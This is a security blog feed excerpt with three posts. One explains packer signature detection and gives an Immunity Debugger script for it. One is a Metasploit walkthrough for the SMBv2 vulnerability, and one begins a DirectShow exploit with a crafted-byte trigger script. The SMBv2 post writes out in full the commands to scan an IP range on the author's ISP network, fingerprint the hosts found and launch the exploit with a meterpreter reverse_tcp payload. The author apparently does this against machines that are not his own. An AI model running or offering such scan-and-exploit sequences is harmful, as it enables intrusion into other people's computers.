<p style="text-align: left;">this example is really really simple for advanced packer we need really test more bytes to be sure our signature is good enough but from my experience  length between 30-70 byte  from entry point are good enough.</p>
<p style="text-align: left;">if you be smart you will select good instructions like sections those have 16-bit registers and instructions those are not used all times. so an example of really good signature can be below figure (taken from symantec slides) :</p>
<p style="text-align: center;"><img class="aligncenter" title="good signature" src="http://i49.tinypic.com/2vlu168.png" alt="" width="328" height="338" />figure 5 ( a really good signature )</p>
<p style="text-align: left;">OK. now you can make you own signatures just by spending a few time on each target . there are several tools can be use for detecting  signatures if executable most popular of them are :</p>
<ul>
<li>PEiD</li>
<li>RDG Packer Detector</li>
<li>PE Detective</li>
</ul>
<p>but all of them have a same problem not so update signatures ! so if you have a program that is packed by a really new packer or just a few byte take changed from their signature  most of them will fail (intelligent signature detection is out of scope of this post) . so what we can do ? we should have our own database for our job .</p>
<p>so i collect all of existing signature database (those i found) in internet and i removed stupid and duplicated signature from the list those are :</p>
<ul>
<li>BoB at Team PEiD signature database</li>
<li>Panda Security customized signature database</li>
<li>Diablo2002 signature database</li>
<li>ARteam members signature database</li>
<li>SnD members signature database</li>
<li>Fly signature database</li>
<li>and &#8230;</li>
</ul>
<p>after i combined all of their signature databases i changed a few of important signature to be more general and i added some new signature to my list  and my final list right now have around 5064 unique and 4268 from entry point signature.</p>
<p>PEiD can parse external signatures and it&#8217;s nice but i liked to have detection in my debugger so i searched for a signature detection library in python (i like python) and with a quick search i found nice Pefile coded by Ero Carrera can handle all of our requirement in working with PE file not only handling signatures you can download it at :</p>
<p>http://code.google.com/p/pefile/</p>
<p>so i decide to use this library to write a pycommand for immunity debugger fortunately i found a copy of a pefile in immunity debugger lib ! so all i have to do is writing a few line of code that can read my database and test it against my binary and tell me the output .<br />
so here is my complete script also have a option for auto-update  .</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/env python</span>
&nbsp;
<span style="color: #483d8b;">''</span><span style="color: #483d8b;">'
 This script is for identify packer/protector and compiler used in your target binary
 the first version have more than about 5000 signatures ... we will try to updates signatures monthly
 and for now it will use entry point scaning method ...
&nbsp;
 Tree Important Notes :
 First  the database signatures are reaped by lots of people we should thanks them : BoBSoft at Team PEID  , fly , diablo2oo2 and others you can find their name in list ...
 Second A big thanks to Ero Carrera for his nice python pefile lib the hard part of processing singanutes is done by his library .
 Third  we updated some of signatures and will keep update them monthly  for detection newer version of packers / comprassion algorithm (hopefully) 
&nbsp;
 thanks to nicolas waisman / Muts (offsec) and all of abysssec memebers ...
&nbsp;
 Feel free to contact me with admin [at] abysssec.com
'</span><span style="color: #483d8b;">''</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#import python libraries</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">os</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">getopt</span>
<span style="color: #ff7700;font-weight:bold;">import</span> pefile
<span style="color: #ff7700;font-weight:bold;">import</span> immlib
<span style="color: #ff7700;font-weight:bold;">import</span> peutils
<span style="color: #ff7700;font-weight:bold;">import</span> hashlib
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">shutil</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">urllib</span>
&nbsp;
__VERSION__ = <span style="color: #483d8b;">'0.2'</span>
&nbsp;
DESC= <span style="color: #483d8b;">&quot;Immunity PyCommand PeDectect will help you to identfy packer / protection used in target binary&quot;</span>
USAGE = <span style="color: #483d8b;">&quot;!PeDetect&quot;</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#global</span>
downloaded = <span style="color: #ff4500;">0</span>
&nbsp;
<span style="color: #808080; font-style: italic;">#Using debugger functionality</span>
imm = immlib.<span style="color: black;">Debugger</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># pedram's urllib_hook</span>
<span style="color: #ff7700;font-weight:bold;">def</span> urllib_hook <span style="color: black;">&#40;</span>idx, <span style="color: #008000;">slice</span>, total<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">global</span> downloaded
&nbsp;
    downloaded += <span style="color: #008000;">slice</span>
&nbsp;
    completed = <span style="color: #008000;">int</span><span style="color: black;">&#40;</span><span style="color: #008000;">float</span><span style="color: black;">&#40;</span>downloaded<span style="color: black;">&#41;</span> / <span style="color: #008000;">float</span><span style="color: black;">&#40;</span>total<span style="color: black;">&#41;</span> <span style="color: #66cc66;">*</span> <span style="color: #ff4500;">100</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> completed <span style="color: #66cc66;">&amp;</span>gt<span style="color: #66cc66;">;</span> <span style="color: #ff4500;">100</span>:
        completed = <span style="color: #ff4500;">100</span>
&nbsp;
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [+] Downloading new signatures ... %d%%&quot;</span> <span style="color: #66cc66;">%</span> completed<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Downloader function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> get_it <span style="color: black;">&#40;</span>url, file_name<span style="color: black;">&#41;</span>:
    <span style="color: #ff7700;font-weight:bold;">global</span> downloaded
&nbsp;
    downloaded = <span style="color: #ff4500;">0</span>
    u = <span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlretrieve</span><span style="color: black;">&#40;</span>url, reporthook=urllib_hook<span style="color: black;">&#41;</span>
    <span style="color: #808080; font-style: italic;">#imm.Log(&quot;&quot;)</span>
    <span style="color: #dc143c;">shutil</span>.<span style="color: black;">move</span><span style="color: black;">&#40;</span>u<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>, file_name<span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Calculate MD5Checksum for specific file</span>
<span style="color: #ff7700;font-weight:bold;">def</span> md5checksum<span style="color: black;">&#40;</span>fileName, excludeLine=<span style="color: #483d8b;">&quot;&quot;</span>, includeLine=<span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>:
    m = hashlib.<span style="color: #dc143c;">md5</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        fd = <span style="color: #008000;">open</span><span style="color: black;">&#40;</span>fileName,<span style="color: #483d8b;">&quot;rb&quot;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">IOError</span>:
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Unable to open the file in readmode:&quot;</span>, filename<span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">return</span>
    content = fd.<span style="color: black;">readlines</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    fd.<span style="color: black;">close</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">for</span> eachLine <span style="color: #ff7700;font-weight:bold;">in</span> content:
        <span style="color: #ff7700;font-weight:bold;">if</span> excludeLine <span style="color: #ff7700;font-weight:bold;">and</span> eachLine.<span style="color: black;">startswith</span><span style="color: black;">&#40;</span>excludeLine<span style="color: black;">&#41;</span>:
            <span style="color: #ff7700;font-weight:bold;">continue</span>
        m.<span style="color: black;">update</span><span style="color: black;">&#40;</span>eachLine<span style="color: black;">&#41;</span>
    m.<span style="color: black;">update</span><span style="color: black;">&#40;</span>includeLine<span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">return</span> m.<span style="color: black;">hexdigest</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Simple Usage Function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> usage<span style="color: black;">&#40;</span>imm<span style="color: black;">&#41;</span>:
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;!PeDetect -u (for updating signature ... )&quot;</span> <span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Auto-Update function</span>
<span style="color: #ff7700;font-weight:bold;">def</span> update<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>:
&nbsp;
    <span style="color: #808080; font-style: italic;"># Using urlretrieve won't overwrite anything</span>
    <span style="color: #ff7700;font-weight:bold;">try</span>:
        download = <span style="color: #dc143c;">urllib</span>.<span style="color: black;">urlretrieve</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'http://abysssec.com/AbyssDB/Database.TXT'</span><span style="color: black;">&#41;</span>
    <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span> , problem:
        imm.<span style="color: black;">Log</span> <span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;Error : %s&quot;</span><span style="color: #66cc66;">%</span> problem<span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># Computation MD5 cheksum for both existing and our current database</span>
    AbyssDB = md5checksum<span style="color: black;">&#40;</span>download<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span><span style="color: black;">&#41;</span>
    ExistDB = md5checksum<span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.TXT'</span><span style="color: black;">&#41;</span>
&nbsp;
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [!] Checking for updates ...&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [*] Our  database checksum : %s &quot;</span><span style="color: #66cc66;">%</span>AbyssDB<span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [*] Your database checksum : %s &quot;</span><span style="color: #66cc66;">%</span>ExistDB<span style="color: black;">&#41;</span>
    imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> AbyssDB <span style="color: #66cc66;">!</span>= ExistDB:
&nbsp;
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[!] Some update founds updating ....&quot;</span><span style="color: black;">&#41;</span>        
&nbsp;
        <span style="color: #808080; font-style: italic;"># Removing existing one for be sure ...</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #dc143c;">os</span>.<span style="color: black;">path</span>.<span style="color: black;">exists</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.txt'</span><span style="color: black;">&#41;</span>:
            <span style="color: #dc143c;">os</span>.<span style="color: black;">remove</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.txt'</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Download latest database</span>
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            get_it<span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;http://abysssec.com/AbyssDB/Database.TXT&quot;</span>, <span style="color: #483d8b;">&quot;Data/Database.txt&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>,mgs:
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot; [-] Problem in downloading new database ...&quot;</span> <span style="color: #66cc66;">%</span> mgs
&nbsp;
        imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [+] Update Comepelete !&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot; [!] You have our latest database ...&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
<span style="color: #808080; font-style: italic;"># Main Fuction</span>
<span style="color: #ff7700;font-weight:bold;">def</span> main<span style="color: black;">&#40;</span>args<span style="color: black;">&#41;</span>:
&nbsp;
    <span style="color: #ff7700;font-weight:bold;">if</span> args:
        <span style="color: #ff7700;font-weight:bold;">if</span> args<span style="color: black;">&#91;</span><span style="color: #ff4500;">0</span><span style="color: black;">&#93;</span>.<span style="color: black;">lower</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span> == <span style="color: #483d8b;">'-u'</span>:
            update<span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[-] Bad argumant use -u for update ...&quot;</span><span style="color: black;">&#41;</span>
            <span style="color: #ff7700;font-weight:bold;">return</span>  <span style="color: #483d8b;">&quot;[-] Bad argumant use -u for update ...&quot;</span>
    <span style="color: #ff7700;font-weight:bold;">else</span>:
        <span style="color: #ff7700;font-weight:bold;">try</span>:
            <span style="color: #808080; font-style: italic;"># Getting loded exe path</span>
            path = imm.<span style="color: black;">getModule</span><span style="color: black;">&#40;</span>imm.<span style="color: black;">getDebuggedName</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>.<span style="color: black;">getPath</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">except</span> <span style="color: #008000;">Exception</span>, msg:
            <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;Error: %s&quot;</span> <span style="color: #66cc66;">%</span> msg
&nbsp;
        <span style="color: #808080; font-style: italic;"># Debugged Name</span>
        name = imm.<span style="color: black;">getDebuggedName</span><span style="color: black;">&#40;</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Loading loaded pe !</span>
        pe = pefile.<span style="color: black;">PE</span><span style="color: black;">&#40;</span>path<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Loading signatures Database</span>
        signatures = peutils.<span style="color: black;">SignatureDatabase</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">'Data/Database.TXT'</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Mach the signature using scaning entry point only !</span>
        matched = signatures.<span style="color: black;">match</span><span style="color: black;">&#40;</span>pe , ep_only=<span style="color: #008000;">True</span><span style="color: black;">&#41;</span>        
&nbsp;
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;===================  WwW.Abysssec.com  =======================&quot;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] PeDetect By Shahin Ramezany&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">2</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">#imm.Log(&quot;=============================================================&quot;)</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Total loaded  signatures : %d&quot;</span> <span style="color: #66cc66;">%</span> <span style="color: black;">&#40;</span>signatures.<span style="color: black;">signature_count_eponly_true</span> + signatures.<span style="color: black;">signature_count_eponly_false</span> + signatures.<span style="color: black;">signature_count_section_start</span><span style="color: black;">&#41;</span><span style="color: black;">&#41;</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Total ep_only signatures : %d&quot;</span> <span style="color: #66cc66;">%</span> signatures.<span style="color: black;">signature_count_eponly_true</span><span style="color: black;">&#41;</span>
        <span style="color: #808080; font-style: italic;">#imm.Log(&quot;=============================================================&quot;)</span>
        imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #808080; font-style: italic;"># Signature found or not found !</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> matched:
            imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Processing : %s &quot;</span> <span style="color: #66cc66;">%</span> name<span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[+] Signature Found  : %s &quot;</span>   <span style="color: #66cc66;">%</span> matched , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
        <span style="color: #ff7700;font-weight:bold;">else</span>:
            imm.<span style="color: black;">log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;[*] Processing   %s !&quot;</span> <span style="color: #66cc66;">%</span> name<span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;   [-] Signatue Not Found !&quot;</span> , focus=<span style="color: #ff4500;">1</span>, highlight=<span style="color: #ff4500;">1</span><span style="color: black;">&#41;</span>
            imm.<span style="color: black;">Log</span><span style="color: black;">&#40;</span><span style="color: #483d8b;">&quot;&quot;</span><span style="color: black;">&#41;</span>
&nbsp;
    <span style="color: #808080; font-style: italic;"># Checking for arguements !</span>
        <span style="color: #ff7700;font-weight:bold;">if</span> <span style="color: #ff7700;font-weight:bold;">not</span> args:
            usage<span style="color: black;">&#40;</span>imm<span style="color: black;">&#41;</span>
&nbsp;
        <span style="color: #ff7700;font-weight:bold;">return</span> <span style="color: #483d8b;">&quot;[+] See log window (Alt-L) for output / result ...&quot;</span></pre></div></div>

<p>for using this script you just need copy PeDetect.py in you PyCommand directory in immunity debugger python then copy Database.TXT in DATA folder in immunity debugger. after this you just need run it from immunity debugger command bar using  !PeDetect  you can see the output of this script against some files&#8230;</p>
<p><img class="aligncenter" title="output1" src="http://i48.tinypic.com/9fuu00.png" alt="" width="432" height="171" /><br />
figure 6 &#8211; output of PeDetect against not packed file</p>
<p style="text-align: center;"><img class="aligncenter" title="packed" src="http://i48.tinypic.com/11l2zk6.png" alt="" width="441" height="168" /><br />
figure 7 &#8211; output against  packed file</p>
<p style="text-align: left;">also this have an argument !PeDetect -u for updating your signature to our latest database. notice that my script will use md5checksum so your changes meaning it won&#8217;t be same as my database and your database will be update automatically.</p>
<p style="text-align: center;"><img class="aligncenter" title="update" src="http://i48.tinypic.com/15nt0ts.png" alt="" width="450" height="122" /></p>
<p style="text-align: center;">figure 8 &#8211; update command</p>
<p>PS : after i wrote this i saw another PyCommand named scanpe wrote by BoB at PeiD it&#8217;s really good and have PE scan option but have not update update so no more new signatures &#8230;</p>
<p style="text-align: left;">references :</p>
<ul>
<li> Automatic Generation of String Signatures for Malware Detection</li>
<li>Signature Generation by korupt (http://korupt.co.uk)</li>
<li>Team PEiD forums</li>
<li>Immunity Debugger online documentation</li>
<li>FSecure &#8211; reverse engineering slides</li>
<li>My time</li>
</ul>
<p style="text-align: left;">download PeDetect (database + pycommand) from : (please read the ReadMe.txt for installation guide)</p>
<p><a title="http://www.abysssec.com/files/PeDetect.zip" href="http://www.abysssec.com/files/PeDetect.zip" target="_blank">http://www.abysssec.com/files/PeDetect.zip</a></p>
<p style="text-align: left;">
<p>happy new years !</p>
<p style="text-align: left;">cheers</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 111px; width: 1px; height: 1px;"><a href="http://www.abysssec.com/files/PeDetect.zip">The <strong>Portable Executable</strong> (PE) format is a </a><a title="File format" href="http://en.wikipedia.org/wiki/File_format">file format</a> for <a title="Executable" href="http://en.wikipedia.org/wiki/Executable">executables</a>, <a title="Object file" href="http://en.wikipedia.org/wiki/Object_file">object code</a>, and <a title="Dynamic-link library" href="http://en.wikipedia.org/wiki/Dynamic-link_library">DLLs</a>, used in 32-bit and 64-bit versions of <a title="Microsoft Windows" href="http://en.wikipedia.org/wiki/Microsoft_Windows">Windows</a> <a title="Operating system" href="http://en.wikipedia.org/wiki/Operating_system">operating systems</a>. The term &#8220;portable&#8221; refers to the format&#8217;s versatility in numerous environments of operating system software architecture.</div>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2010/01/immunity-debugger-pedetect-and-the-art-of-signature-generation/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Exploiting Vista / 2008 Using SMBV2 Exploit</title>
		<link>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/</link>
		<comments>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/#comments</comments>
		<pubDate>Fri, 02 Oct 2009 15:37:10 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=404</guid>
		<description><![CDATA[hello all in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you Stephen Fewer finally released his exploit for metasploit too. a note : stephen exploit is [...]]]></description>
			<content:encoded><![CDATA[<p>hello all</p>
<p>in a few recent days i worked on smbv2 ProcessID Function Table Dereference vulnerability and after lots of work actually i got my shell after kostya and rest of Immunity. but there is a good news for you <a href="http://harmonysecurity.com/">Stephen Fewer</a> finally released his exploit for metasploit too.</p>
<p>a note : stephen exploit is no so reliable refer to selecting address in HAL  but it&#8217;s free &#8230;</p>
<p>metasploit 3.3 DEV have this module by default .</p>
<p>and here are steps for exploitation using metasploit</p>
<p>step 0:</p>
<p>run msfconsole.bat</p>
<p>step 1 :</p>
<p>scanning for targets<br />
msf &gt; use auxiliary/scanner/smb/smb2<br />
msf auxiliary(smb2) &gt; set RHOSTS xx.xx.xx.x-xx.xx.xx.254<br />
RHOSTS =&gt;xx.xx.xx.x-xx.xx.xx.254<br />
msf auxiliary(smb2) &gt; set THREADS 50<br />
THREADS =&gt; 50<br />
msf auxiliary(smb2) &gt; run</p>
<p>for example i found on my ADSL range  :</p>
<p>[*] xx.xx.xx.x supports SMB 2 [dialect 255.2] and has been online for 285 hours</p>
<p>step 2 :</p>
<p>now you need check version of founded target (i think it&#8217;s better to know before send your exploit)</p>
<p>msf auxiliary(smb2) &gt; use auxiliary/scanner/smb/version<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows 7 Ultimate (Build 7100) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x  is running Windows 7 Ultimate (Build 7229) (language: Unknown)<br />
[*] Auxiliary module execution completed<br />
msf auxiliary(version) &gt; set RHOSTS xx.xx.xx.x<br />
RHOSTS =&gt; xx.xx.xx.x<br />
msf auxiliary(version) &gt; run</p>
<p>[*] xx.xx.xx.x is running Windows Vista Home Basic Service Pack 2 (language: Unknown)<br />
[*] Auxiliary module execution completed</p>
<p>as you may noticed i just found one windows vista and two others are windows 7 .this exploit will work against vista sp1-2 and windows 2008 (not rc2)</p>
<p>step 3 :</p>
<p>now you can set and send exploit</p>
<p>msf auxiliary(version) &gt; use exploit/windows/smb/smb2_negotiate_func_index<br />
msf exploit(smb2_negotiate_func_index) &gt; set PAYLOAD windows/meterpreter/reverse_tcp<br />
PAYLOAD =&gt; windows/meterpreter/reverse_tcp<br />
set msf exploit(smb2_negotiate_func_index) &gt; set LPORT 5678<br />
LPORT =&gt; 5678<br />
msf exploit(smb2_negotiate_func_index) &gt; set LHOST xx.xx.xx.x<br />
LHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; set RHOST xx.xx.xx.x<br />
RHOST =&gt; xx.xx.xx.x<br />
msf exploit(smb2_negotiate_func_index) &gt; exploit</p>
<p>and here is output of metasploit exploit on my target :</p>
<p style="text-align: center;"><img class="aligncenter" title="SMBv2 Exploit" src="http://i35.tinypic.com/2mw6nvo.png" alt="" width="557" height="234" /></p>
<p>note : i will try to have a technical detail post  for exploitation and also my version of exploit for you soon.</p>
<p>happy hunting</p>
<p>shahin</p>
<div id="_mcePaste" style="overflow: hidden; position: absolute; left: -10000px; top: 1200px; width: 1px; height: 1px;">xx.xx.xx.x</div>
]]></content:encoded>
			<wfw:commentRss>http://www.abysssec.com/blog/2009/10/exploiting-vista-2008-using-smbv2-exploit/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Microsft Directshow and MPEG-2 Exploitation</title>
		<link>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/</link>
		<comments>http://www.abysssec.com/blog/2009/07/microsft-directshow-and-mpeg-2-exploitation/#comments</comments>
		<pubDate>Fri, 10 Jul 2009 14:01:13 +0000</pubDate>
		<dc:creator>shahin</dc:creator>
				<category><![CDATA[Exploits / BUG Decryption]]></category>
		<category><![CDATA[0day]]></category>
		<category><![CDATA[Directshow]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[MPEG-2]]></category>
		<category><![CDATA[seh]]></category>

		<guid isPermaLink="false">http://www.abysssec.com/blog/?p=359</guid>
		<description><![CDATA[hello we are really sorry for too late updates. but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and [...]]]></description>
			<content:encoded><![CDATA[<p>hello we are really sorry for too late updates.</p>
<p>but we are busy but i have some good news and i will share with you soon . for  now i want to have short talk about new DirectShow vulnerabilities  one of this vulnerability is more fun and exploited in the wild in past days .and now exploit is  available in the wild.</p>
<p>anyway here is orginal advisory  (another good vulnerability from alex wheeler):</p>
<p>http://www.microsoft.com/technet/security/advisory/972890.mspx</p>
<p>this vulnerability can be exploit using  varient browser exploitation method like Heap Spray.</p>
<p>and flowing simple script can trigger vulnerabilty :</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#!/usr/bin/python</span>
<span style="color: #ff7700;font-weight:bold;">import</span> <span style="color: #dc143c;">sys</span> , <span style="color: #dc143c;">os</span>
&nbsp;
gif =  <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>03<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>11<span style="color: #000099; font-weight: bold;">\x</span>20<span style="color: #000099; font-weight: bold;">\x</span>34<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
gif += <span style="color: #483d8b;">&quot;<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00<span style="color: #000099; font-weight: bold;">\x</span>00&quot;</span>
